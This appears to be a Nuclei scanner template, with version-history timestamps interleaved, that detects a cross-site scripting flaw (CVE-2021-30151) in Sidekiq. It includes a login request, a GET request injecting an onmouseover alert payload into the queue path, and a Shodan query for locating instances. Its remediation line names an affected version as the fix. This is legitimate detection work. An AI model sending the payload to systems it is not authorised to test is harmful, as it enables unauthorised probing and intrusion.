2021-04-10 17:28:27 +00:00
id : CVE-2021-30151
info :
2022-08-29 13:55:23 +00:00
name : Sidekiq <=6.2.0 - Cross-Site Scripting
2021-04-10 17:28:27 +00:00
author : DhiyaneshDk
2021-09-10 11:26:40 +00:00
severity : medium
2022-08-29 13:55:23 +00:00
description : Sidekiq through 5.1.3 and 6.x through 6.2.0 contains a cross-site scripting vulnerability via the queue name of the live-poll feature when Internet Explorer is used.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade to Sidekiq version 6.2.0 or later to mitigate this vulnerability.
2021-08-18 11:37:49 +00:00
reference :
2021-04-10 17:28:27 +00:00
- https://github.com/mperham/sidekiq/issues/4852
2022-05-17 09:18:12 +00:00
- https://lists.debian.org/debian-lts-announce/2022/03/msg00015.html
2022-08-29 13:55:23 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-30151
2023-07-11 19:49:27 +00:00
- https://lists.debian.org/debian-lts-announce/2023/03/msg00011.html
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-30151
cwe-id : CWE-79
2023-07-11 19:49:27 +00:00
epss-score : 0.00435
2023-11-10 17:07:52 +00:00
epss-percentile : 0.71757
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:contribsys:sidekiq:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
2023-11-06 12:50:53 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : contribsys
product : sidekiq
2023-11-06 12:50:53 +00:00
shodan-query : title:"Sidekiq"
2023-11-06 11:04:15 +00:00
tags : cve,cve2021,xss,sidekiq,authenticated
2021-04-10 17:28:27 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-11-06 11:04:15 +00:00
- raw :
- |
POST /api/auth HTTP/1.1
Host : {{Hostname}}
Content-Type : application/json
{"email" : "{{username}}" , "password" : "{{password}}" }
- |
GET /queues/"onmouseover="alert(document.domain)" HTTP/1.1
Host : {{Hostname}}
2023-07-11 19:49:27 +00:00
2021-04-10 17:28:27 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2023-11-06 11:04:15 +00:00
- 'onmouseover="alert(document.domain)'
- 'sidekiq'
condition : and
case-insensitive : true
2021-04-11 12:21:41 +00:00
2021-04-10 17:28:27 +00:00
- type : word
part : header
words :
- "text/html"
2021-04-11 12:21:41 +00:00
- type : status
status :
2022-05-13 20:26:43 +00:00
- 200
2023-11-11 17:38:55 +00:00
# digest: 4a0a0047304502200995ec476b275978c06f7ed5d69b6c3abcff7380097c505793475da904c8448b022100c8e91007438bb2763891165db1c1708f781c5c75e363147a00508760a7c7671c:922c64590222798bb761d5b6d8e72950